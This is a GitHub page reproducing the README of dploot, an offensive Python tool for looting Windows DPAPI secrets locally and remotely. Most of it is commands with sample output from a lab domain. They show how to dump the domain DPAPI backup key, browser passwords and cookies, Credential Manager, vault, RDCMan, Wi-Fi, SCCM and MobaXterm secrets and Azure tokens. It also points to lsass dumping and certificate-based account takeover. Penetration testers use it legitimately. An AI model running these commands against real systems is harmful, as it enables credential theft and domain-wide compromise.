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https://github.com/zblurx/dploot

DPAPI looting remotely and locally in Python
https://github.com/zblurx/dploot

credentials-gathering dpapi windows

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DPAPI looting remotely and locally in Python

Host: GitHub
URL: https://github.com/zblurx/dploot
Owner: zblurx
License: mit
Created: 2022-05-24T11:05:21.000Z (over 2 years ago)
Default Branch: main
Last Pushed: 2024-11-22T13:53:40.000Z (about 1 month ago)
Last Synced: 2024-12-27T11:00:31.499Z (10 days ago)
Topics: credentials-gathering, dpapi, windows
Language: Python
Homepage:
Size: 321 KB
Stars: 433
Watchers: 7
Forks: 56
Open Issues: 4
Metadata Files:
- Readme: README.md
- License: LICENSE

Awesome Lists containing this project

README

# dploot

dploot is Python rewrite of [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) written un C# by [Harmj0y](https://twitter.com/harmj0y), which is itself a port of DPAPI from [Mimikatz](https://github.com/gentilkiwi/mimikatz/) by [gentilkiwi](https://twitter.com/gentilkiwi). It implements all the DPAPI logic of these tools, but this time it is usable with a python interpreter and from a Linux environment.

If you don't know what is DPAPI, [check out this post](https://posts.specterops.io/operational-guidance-for-offensive-user-dpapi-abuse-1fb7fac8b107).

## Table of Contents

- [dploot](#dploot)
- [Table of Contents](#table-of-contents)
- [Installation](#installation)
- [Usage](#usage)
- [Kerberos](#kerberos)
- [How to use](#how-to-use)
- [As a local administrator on the machine](#as-a-local-administrator-on-the-machine)
- [With offline access to the Windows' filesystem](#with-offline-access-to-the-windows-filesystem)
- [As a domain administrator (or equivalent)](#as-a-domain-administrator-or-equivalent)
- [Not as a domain administrator](#not-as-a-domain-administrator)
- [Commands](#commands)
- [User Triage](#user-triage)
- [masterkeys](#masterkeys)
- [credentials](#credentials)
- [vaults](#vaults)
- [rdg](#rdg)
- [certificates](#certificates)
- [browser](#browser)
- [triage](#triage)
- [Machine Triage](#machine-triage)
- [machinemasterkeys](#machinemasterkeys)
- [machinecredentials](#machinecredentials)
- [machinevaults](#machinevaults)
- [machinecertificates](#machinecertificates)
- [machinetriage](#machinetriage)
- [Misc](#misc)
- [wifi](#wifi)
- [sccm](#sccm)
- [backupkey](#backupkey)
- [mobaxterm](#mobaxterm)
- [wam](#wam)
- [blob](#blob)
- [Credits](#credits)

## Installation

You can install dploot directly from PyPI with [pipx](https://github.com/pypa/pipx):

```text
pipx install git+https://github.com/zblurx/dploot.git
```

```text
pipx install dploot
```

On [Kali Linux](https://www.kali.org/), you can install dploot from the repositories:

```text
sudo apt install python3-dploot
```

## Usage

```text
dploot (https://github.com/zblurx/dploot) v3.0.0 by @_zblurx
usage: dploot [-h]
{certificates,credentials,masterkeys,vaults,backupkey,blob,rdg,sccm,triage,machinemasterkeys,machinecredentials,machinevaults,machinecertificates,machinetriage,browser,wifi,mobaxterm,wam}
...

DPAPI looting locally remotely in Python

positional arguments:
{backupkey,blob,browser,certificates,credentials,machinecertificates,machinecredentials,machinemasterkeys,machinetriage,machinevaults,masterkeys,mobaxterm,rdg,sccm,triage,vaults,wam,wifi}
Action
backupkey Backup Keys from domain controller
blob Decrypt DPAPI blob. Can fetch masterkeys on target
browser Dump users credentials and cookies saved in browser from local or remote target
certificates Dump users certificates from local or remote target
credentials Dump users Credential Manager blob from local or remote target
machinecertificates
Dump system certificates from local or remote target
machinecredentials Dump system credentials from local or remote target
machinemasterkeys Dump system masterkey from local or remote target
machinetriage Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote
target
machinevaults Dump system vaults from local or remote target
masterkeys Dump users masterkey from local or remote target
mobaxterm Dump Passwords and Credentials from MobaXterm
rdg Dump users saved password information for RDCMan.settings from local or remote target
sccm Dump SCCM secrets (NAA, Collection variables, tasks sequences credentials) from local or remote target
triage Loot Masterkeys (if not set), credentials, rdg, certificates, browser and vaults from local or remote target
vaults Dump users Vaults blob from local or remote target
wam Dump users cached azure tokens from local or remote target
wifi Dump wifi profiles from local or remote target

options:
-h, --help show this help message and exit
```

### Kerberos

dploot can authenticate with Kerberos. Simply use `-k` option. If you want to use a cached ticket, use `-use-kcache` option.

## How to use

The goal of dploot is to simplify DPAPI related loot from a Linux box. As SharpDPAPI, how you use this tool will depend on if you compromised the domain or not.

### As a local administrator on the machine

Whenever you are local administrator of a windows computer, you can loot machine secrets, for example with [machinecertificates](#machinecertificates) (or any other [Machine Triage](#machine-triage) commands, or [wifi](#wifi) command):

```text
$ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -quiet
[-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx
```

### With offline access to the Windows' filesystem

A different way of gaining local administrator access to a system, for instance via physical access, extracting the drive and mounting the filesystem directly on your machine. To use this mode, specify `LOCAL` as the target. By default the target filesystem is expected to be the current directory, you can specify a different path with `-root`:

```text
$ dploot sccm -root /media/C_drive/ LOCAL
[*] Connected to LOCAL as \None (admin)
```

It can still be useful to give valid username and password as arguments, which will be used to decrypt masterkeys (see the instructions in [User Triage](#user-triage) below):
```text
$ dploot masterkeys -root /mnt -u bob -p Password LOCAL
[*] Connected to LOCAL as \bob (admin)
```

### As a domain administrator (or equivalent)

If you have domain admin privileges, you can obtain the domain DPAPI backup key with the backupkey command. This key can decrypt any DPAPI masterkeys for domain users and computers, and it will never change. Therefore, this key allow attacker to loot any DPAPI protected password realted to a domain user.

To obtain the domain backupkey, you can use [backupkey](#backupkey) command:
```text
$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.112 -quiet
[-] Exporting domain backupkey to file key.pvk
```

Then you can loot any user secrets stored on a windows domain-joined computer on the network, for example with [certificates](#certificates) command (or any other [User Triage](#user-triage) commands):
```
$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -pvk key.pvk -quiet
[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx
[-] Writting certificate to jsmith_waza.local_D0C73E2C04BEAAB0.pfx
[-] Writting certificate to m.scott_waza.local_EB9C21A5642D4EBD.pfx
```

### Not as a domain administrator

If domain admin privileges have not been obtained (yet), using Mimikatz' sekurlsa::dpapi command will retrieve DPAPI masterkey {GUID}:SHA1 mappings of any loaded master keys (user and SYSTEM) on a given system (tip: running dpapi::cache after key extraction will give you a nice table). If you change these keys to a {GUID1}:SHA1 {GUID2}:SHA1... type format, they can be supplied to dploot to triage the box. Use can also use [lsassy](https://github.com/Hackndo/lsassy) to harvest decrypted masterkeys:

```text
$ lsassy -u Administrator -p 'Password!123' -d waza.local -t 192.168.56.14 -m rdrleakdiag -M masterkeys
[+] 192.168.56.14 Authentication successful
[+] 192.168.56.14 Lsass dumped in C:\Windows\Temp\ff32F.fon (57121318 Bytes)
[+] 192.168.56.14 Lsass dump deleted
[+] 192.168.56.14 WAZA\DESKTOP-OJ3N8TJ$ [NT] 0e43c22a4b09520cf79ca19a9e1bbec7 | [SHA1] 2ce587ab64aa3488c5ed412ca1e554d0f8e5a411
(snip)
[+] 192.168.56.14 5 masterkeys saved to /data/masterkeys
```

Then you can use this masterkey file to loot the targeted computer, for example with [browser](#browser) command (or any other [User Triage](#user-triage) commands):

```text
$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.56.14 -mkfile /data/masterkeys
[*] Connected to 192.168.56.14 as waza.local\Administrator (admin)

[*] Triage Browser Credentials for ALL USERS

[MSEDGE LOGIN DATA]
URL:
Username: [email protected]
Password: Waza1234
```

You can also dump masterkey hashes with `-hashes-outputfile` option of [dploot masterkeys](#masterkeys)

## Commands

### User Triage

#### masterkeys

The **masterkeys** command will get any user masterkey file and decrypt them with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` domain backup key. It will return a set of masterkey {GUID}:SHA1 mappings. Note that it will try to use password or nthash that you used to connect to the target even if you don't specify corresponding options. You can eventually use `-hashes-outputfile` to get every masterkey hashes in Hashcat/JtR format in order to crack cleartext password.

*With domain backupkey*:

```text
$ dploot masterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22
{d37fa151-d670-4c58-9d70-3233b4918942}:8709574524ad35ef0b3a114b93990f8490d86cba
{68e05bd7-9de9-46f0-95e3-b5036baa49e9}:2d87a923d05534da67d449cbad9a7390d019910a
```

*With password*:

```text
$ cat passwords
jsmith:Password#123
$ dploot masterkeys -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -passwords passwords
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

***Tips***: *With the `outputfile` flag, dploot masterkeys will append looted masterkeys in a specified file. It is not a problem to store every masterkeys in the same file, because a DPAPI BLOB store the GUID of the masterkey that will be needed in order to decrypt it.*

#### credentials

The **credentials** command will search for users Credential files and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, or with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` to first decrypt masterkeys.

With `mkfile`:

```text
$ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage Credentials for ALL USERS

[CREDENTIAL]
LastWritten : 2022-04-12 16:55:44
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=test
Description :
Unknown :
Username : test
Unknown : Password#{123}

[CREDENTIAL]
LastWritten : 2022-04-27 19:23:02
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=TERMSRV/srv01.waza.local
Description :
Unknown :
Username : DESKTOP-I60R2L6\Administrator
Unknown : Password!123
```

With `pvk`:

```text
$ dploot credentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

[*] Triage Credentials for ALL USERS

[CREDENTIAL]
LastWritten : 2022-05-19 10:25:06
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=myserver.com
Description :
Unknown :
Username : Administrator
Unknown : Naga2019*
```

#### vaults

The **vaults** command will search for users Vaults secrets and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, or with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` to first decrypt masterkeys.

With `mkfile`:

```text
$ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage Vaults for ALL USERS

[VAULT_VPOL_KEYS]
Key1: 0x552f5d5b454d3a53aec4ff458539de02
Key2: 0x5565757b5acd988e1a7377030fbe7098bff3e98050ae9bca458fe554b9e2586b

[Internet Explorer]
Username : test
Resource : http://testphp.vulnweb.com/
Password : b'74006500730074000000'

Decoded Password: test
```

With `pvk`:

```text
$ dploot vaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d305b55b-f0ca-40cf-b04c-3620aa5da427}:6f45f9ee77014df8a68104abd0e8d5eadb3d9f22

[*] Triage Vaults for ALL USERS

[VAULT_VPOL_KEYS]
Key1: 0x552f5d5b454d3a53aec4ff458539de02
Key2: 0x5565757b5acd988e1a7377030fbe7098bff3e98050ae9bca458fe554b9e2586b

[Internet Explorer]
Username : test
Resource : http://testphp.vulnweb.com/
Password : b'74006500730074000000'

Decoded Password: test
```

#### rdg

The **rdg** command will search for users RDCMan.settings files secrets and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, or with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` to first decrypt masterkeys.

With `mkfile`:

```text
$ dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -mkfile waza.local.mkf
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage RDCMAN Settings and RDG files for ALL USERS

[CREDENTIAL PROFILES]
Profile Name: WAZA\Administrator
Username: WAZA\Administrator
Password: Placeholder1234567890

[LOGON PROFILES]
Profile Name: Custom
Username: WAZA\Administrator
Password: Password!123

[SERVER PROFILES]
Name: DC01.waza.local
Profile Name: Custom
Username: WAZA\jdoe
Password: Password#123

[SERVER PROFILES]
Name: SRV01.waza.local
Profile Name: Custom
Username: WAZA\jfile
Password: Password#123
```

With `pvk`:

```text
dploot rdg -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

[*] Triage RDCMAN Settings and RDG files for ALL USERS

[CREDENTIAL PROFILES]
Profile Name: WAZA\Administrator
Username: WAZA\Administrator
Password: Placeholder1234567890

[LOGON PROFILES]
Profile Name: Custom
Username: WAZA\Administrator
Password: Password!123

[SERVER PROFILES]
Name: DC01.waza.local
Profile Name: Custom
Username: WAZA\jdoe
Password: Password#123

[SERVER PROFILES]
Name: SRV01.waza.local
Profile Name: Custom
Username: WAZA\jfile
Password: Password#123
```

#### certificates

The **certificates** command will search for users certificates from *MY* and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, or with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` to first decrypt masterkeys.

With `mkfile`:

```text
$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage Certificates for ALL USERS

Issuer: CN=waza-ADCS1-CA,DC=waza,DC=local
Subject: CN=John Smith,CN=Users,DC=waza,DC=local
Valid Date: 2022-05-24 09:51:33
Expiry Date: 2023-05-24 09:51:33
Extended Key Usage:
Unknown OID (1.3.6.1.4.1.311.10.3.4)
emailProtection (1.3.6.1.5.5.7.3.4)
clientAuth (1.3.6.1.5.5.7.3.2)
[!] Certificate is used for client auth!

[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx
```

With `pvk`:

```text
$ dploot certificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

[*] Triage Certificates for ALL USERS

[-] Writting certificate to jsmith_waza.local_C0F800ECBA7BE997.pfx
```

By default, the tool will loot only certificates used for client auth, but with `-dump-all` you can harvest all of them.

***Tips***: *If you get a certificate with client authentication EKU, you can takeover the account with [certipy](https://github.com/ly4k/Certipy).*

#### browser

The **browser** command will search for users password and cookies in chrome based browsers, and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, or with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` to first decrypt masterkeys.

With `mkfile`:

```text
$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -mkfile waza.mkf
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage Browser Credentials for ALL USERS

[MSEDGE LOGIN DATA]
URL:
Username: admin
Password: Password!123
```

With `pvk`:

```text
$ dploot browser -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5 -pvk key.pvk
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage ALL USERS masterkeys

[*] Triage Browser Credentials for ALL USERS

[MSEDGE LOGIN DATA]
URL:
Username: admin
Password: Password!123
```

To display stored cookies, use `-show-cookies` option

#### triage

The **triage** command runs the user [credentials](#credentials), [vaults](#vaults), [rdg](#rdg), and [certificates](#certificates) commands.

### Machine Triage

#### machinemasterkeys

The **machinemasterkeys** command will dump LSA secrets with RemoteRegistry to retrieve DPAPI_SYSTEM key which will the be used to decrypt any found machine masterkeys. It will return a set of masterkey {GUID}:SHA1 mappings.

```text
$ dploot machinemasterkeys -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{b5ebf413-65bd-4ee7-aa49-2a3110f678d2}:ad7475c1efdf3e834037bead151e30beaefeb349
{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049
{9a4057a3-06f2-4e4f-9a88-79ea3c3cadfa}:5b966689d74393684a221752950b46fb5236b3db
```

#### machinecredentials

The **machinecredentials** command will get any machine Credentials file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI XXX blob.

```text
$ dploot machinecredentials -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

{07e6e8d6-7eae-4780-9aac-641818ddd9bb}:ddb9fa17d4e9ab12[...]
{a87bcad8-5ed9-4f09-a9f7-34d77e20d0d4}:e4661cd36f07bb1f[...]
{d03a0e3b-b616-4a29-8795-9ca09960de35}:a45fdd01699bfbc5[...]
{69b3f620-eca1-45c1-a003-f1d0a8598c57}:2862216b21e96fa6[...]
{9a270191-3f43-46d1-9935-5892dca2a9a2}:d3cb43dd6645d26d[...]
{e85c4ab7-65d3-45df-9abe-829c2ead1c5f}:c2a118094fb7cf85[...]

[*] Triage SYSTEM Credentials

[CREDENTIAL]
LastWritten : 2022-05-06 15:51:53
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000002 (CRED_PERSIST_LOCAL_MACHINE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:batch=TaskScheduler:Task:{31424469-6CCD-4137-8DFF-541872FD3CBB}
Description :
Unknown :
Username : WAZA\Administrator
Unknown : Password!123
```

#### machinevaults

The **machinevaults** command will get any machine Vaults file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI Vaults blob.

```text
$ dploot machinevaults -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage SYSTEM masterkeys

{c1027a5b-0dcc-4237-af05-19839a94c12f}:fda0c774f6a8ff189ef2759a151f2c6bcf6a4d46
{e1a73282-709b-4717-ace0-00eecb280fcc}:cdb4c86722b50cecf87cf683c6d727f36d760dba
{6fbe7c89-9810-4ce3-b841-f0f1dd8b46e6}:1fb57eb358ea26c617d39ce04c5feb613ab10b89
{750630e8-b603-4d43-941e-6f756073e511}:f9fd650d02a09e92069c54465455feeea12f0049

[*] Triage SYSTEM Vaults

[VAULT_VPOL_KEYS]
Key1: 0x8a3dad10ce6ae44ba1700d1060cc28c4
Key2: 0x1514dd2c8f278ac517cf1ae09255aeaff62219a019bc21ac35321c040064b0b5
```

### machinecertificates

The **machinecertificates** command will get any machine private key file found and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.

It will also dump machine CAPI certificates blob with RemoteRegistry.

```text
$ dploot machinecertificates -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

[*] Triage SYSTEM Certificates

Issuer: CN=waza-ADCS1-CA,DC=waza,DC=local
Subject: CN=DESKTOP-OJ3N8TJ.waza.local
Valid Date: 2022-06-11 10:31:16
Expiry Date: 2023-06-11 10:31:16
Extended Key Usage:
clientAuth (1.3.6.1.5.5.7.3.2)
serverAuth (1.3.6.1.5.5.7.3.1)
[!] Certificate is used for client auth!

[-] Writting certificate to DESKTOP-OJ3N8TJ.waza.local_796449B12B788ABA.pfx
```

***Tips***: *If you get a certificate with client authentication EKU, you can takeover the account with [certipy](https://github.com/ly4k/Certipy).*

#### machinetriage

The machinetriage command runs the [machinecredentials](#machinecredentials), [machinevaults](#machinevaults) and [machinecertificates](#machinecertificates).

### Misc

#### wifi

The **wifi** command will get any wifi xml configuration file and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob.

```text
$ dploot wifi -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.5
[*] Connected to 192.168.57.5 as waza.local\Administrator (admin)

[*] Triage SYSTEM masterkeys

[*] Triage ALL WIFI profiles

[WIFI]
SSID: Wifi_G
AuthType: WPA2PSK
Encryption: AES
Preshared key: AzErTy1234567890QwSxDcFvG

[WIFI]
SSID: EAP_TLS
AuthType: WPA2 EAP
Encryption: AES
EAP Type: EAP TLS

EapHostConfig:
EapMethod:
Type: 13
VendorId: 0
VendorType: 0
AuthorId: 0
Config:
Eap:
Type: 13
EapType:
CredentialsSource:
CertificateStore:
SimpleCertSelection: true
ServerValidation:
DisableUserPromptForServerValidation: false
ServerNames: None
DifferentUsername: false
PerformServerValidation: true
AcceptServerName: false

[snip]
```

#### sccm

The **sccm** command will retrieve NAA credentials, collection variables and tasks sequences credentials from the remote target and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, otherwise dploot will dump DPAPI_SYSTEM LSA secret key. in order to decrypt any machine masterkeys, and then decrypt any found encrypted DPAPI private key blob. Using `-wmi` will dump SCCM secrets from WMI requests results.

```text
$ dploot sccm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage SYSTEM masterkeys

[*] Triage SCCM Secrets

[NAA Account]
Username: NAAAccount
Password: Password!123

[snip]
```

#### backupkey

The **backupkey** command will retrieve the domain DPAPI backup key from a domain controller using [MS-LDAD](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-lsad/1b5471ef-4c33-4a91-b079-dfcbb82f05cc). This key never changes and can decrypt any domain user DPAPI protected secret. Domain Admin privileges are required.

By default, this command will write the domain backup key into a file called key.pvk, but you can change this with `outputfile` flag. It is also possible to dump legacy backup key with `legacy` flag.

```text
$ dploot backupkey -d waza.local -u Administrator -p 'Password!123' -t 192.168.57.20
[*] Connected to dc01.waza.local as waza.local\e.cartman (admin)

[DOMAIN BACKUPKEY V2]

PVK_FILE_HDR
dwMagic: {2964713758}
dwVersion: {0}
dwKeySpec: {1}
dwEncryptType: {0}
cbEncryptData: {0}
cbPvk: {1172}
PRIVATEKEYBLOB:{1ef1b5b000000000010000000000000000000000940400000702000000a4000052534132000800000100010081a511b5e41ad9563aff9f591ba61bec76ba09859750b0bcbeff2ef26f06b1a85b6b763623249890587cee80495ad02c3c1554abf9eb472da753531186d1a58dc853ac85a31dc14348a477b1555e8f882a3c4543098896fe7523dabbfed2bda09a9cf86fdc017bb86375eec8058953193a58f8896c0c6f622da40cfee5f4734b07458176c3aa8ff1cbe3eaf6faa97d774c68f82b59a635d2e671d5e658bab75f7e6ca2d9c04bb5bf2aa18b13cb4b18951be73f0ec16e3e5d8e8caee9ab26d44e365b3669ccb03c1f2d25f24f6a7f2ac116975a9b58662c1aed40af1d0277b78dab978de25f7aaf09596b869fa5b7762c7f63b5ad0b8611826f79e37a252123f06f4cd136b5919607c768ebe59e1001952ae9bb74bb4462ffb5059473b836d8ca287bc0c01653d28da74798be1c867d364158d8fc3acbe287efe88ea24359b7cffa5b02fd61840a6b786ba33cf842e80231ded169eeb6bc582cb174a17f4dfdf25e7fdcd399f6dab6b62e91cdebaa882797b449bd591a5e189bc86ffc535771f60f05b0e4136d6e64c33adbd572e0c83b7762b0b5e81f36a9bc41c0445c652ddd4012d92839806a594af1b2abf392cbe052f585a69565d8ef23df0df41fdafbaa587cdda27c7a818590d48b75672c6459dc7a865fb69eaa0243c988d6a512bf2c6e24ddfdd1025a588a128cf981f2ed9370781b0f1a0c6ff1f4cccf22163073f9457f91d7fa2bd412bd8ce8d595ed1df2ea2ca1b9f02f0edba7a07ffddb81a6f2847a54ba0b1b8a6f78df0f5f2b29a347ce9b7b6f59e50c3828bfdefbba442f171c4c334c85ab7db48c6e4fd9acbd7d97e2ef59c56ad171b152c600977f6a19d8548ce931035995b5a3f6f70e2a4ac39ab071e39f8235ec3f238ac0017f71cbc4f52891d47ebb5114be9417a8d6a811a5c07025aa223fc6ac3dee729762ff1b34dab65cdce2a69887122d86054a03224fe9e982ad1071840ecdd18ebe3fc3eafa242d4a7bb917282fc2f157c6a9acef01871f70887e31e5b272fd20f39cf0256d96dde7f5380afca01917e57d04d11efa2e39051ca87ab61fd13e07555c8ab1137a8d916202ccd99b70c8ed080188fbf6691d621309441ac407865f985e44c5a2876a33f72a2bdef444b65d087eb150d8e83e9dc2eac198f0f3b9da26a32f2ba4d6b448ab4437778b74ecff7e94aae1020b2773469f80021ec4baaa202d859a21da601f3eff77b599f2249cc2e92019b97defbd2786599a9c331032db72356daec1236f703a6649aa5bc3eeef57177d9bb08d00844a573eb8fc356a36ffda43b2d790836a00fe632b124f280925bc13f1e60326ef0da237f2aaae721c0ffec02b84d09fe9f59d6aa68d19c61c9a794a0746ebe0d03af7563efa7ffef80462d10e30d65f2a9a75f44eba7b5222cffc49f331dc9f74bca51819e2b061ac558cc397bbf42e94ccb39625a584deb549eaf34dcfc2ecd9c9c0b0c2f65d4b6966d9e60a7a1c17c1848e7c7d7d4cd0054ad78a4991dbc8771aba7f26058fef848fd49fff622eed23e0dfcb453e178c189ae609cdb1aa2b1e4d4a8182c6dcd735581690d6fb52e5bddff1b37419cad1f84921235d5fa1e192c71bbada85527a14e7e06c53}

[-] Exporting domain backupkey to file key.pvk
```

### mobaxterm

The **mobaxterm** command will extract MobaXterm secrets and masterpassword key from hive (HKU) and decrypt them with `-mkfile FILE` of one or more {GUID}:SHA1, or with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` to first decrypt masterkeys. If the user is not connected on the remote target, dploot will download and extract secrets from NTUSER.dat.

With `pvk`:

```text
dploot mobaxterm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{6dedb662-3f3c-43a7-bfc4-e2990a48d4dd}:32c4eeeac475910a33f531b56cf9d73f35490d5e
{21f17bcd-eac1-4187-9538-a744f2c6e17b}:198eba83e088a59fd75e6435b38804d4973a2c1e

[*] Triage MobaXterm Secrets

[MOBAXTERM CREDENTIAL]
Name: TEST
Username: user
Password: waza1234

[MOBAXTERM PASSWORD]
Username: mobauser@mobaserver
Password: 309554moba231082pass322883
```

### wam

The **wam** command will search for TBRES files from Token Broker Cache and decrypt their content with `-mkfile FILE` of one or more {GUID}:SHA1, or with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` to first decrypt masterkeys.

With `pvk`:

```text
dploot wam -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3
{13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9

[*] Triage Office Token Broken Cache for ALL USERS

[TBRES FILE]
Version: 1
expiration: 133668881920000000
responses: b'\x8aC\xed\x9f\xf4\xe6D!\x0c\x82\x86)\xab\x1d\xf9\xac'
WTRes_Token: access_token=eyJhb[...]
```

***Tips***: *You can find Microsoft access token for Entra users in TBRES files.*

### blob

The **blob** command will decrypt DPAPI blob with `-mkfile FILE` of one or more {GUID}:SHA1, `-masterkey {GUID}:SHA1` or with `-passwords FILE` combo of user:password, `-nthashes` combo of user:nthash or a `-pvk PVKFILE` to first decrypt masterkeys.

With `pvk`:

```text
dploot blob -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk -blob 'AQAAANCMnd8BF[...]'
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)

[*] Triage ALL USERS masterkeys

{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3
{13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9

[*] Trying to decrypt DPAPI blob

[BLOB]
Version : 1 (1)
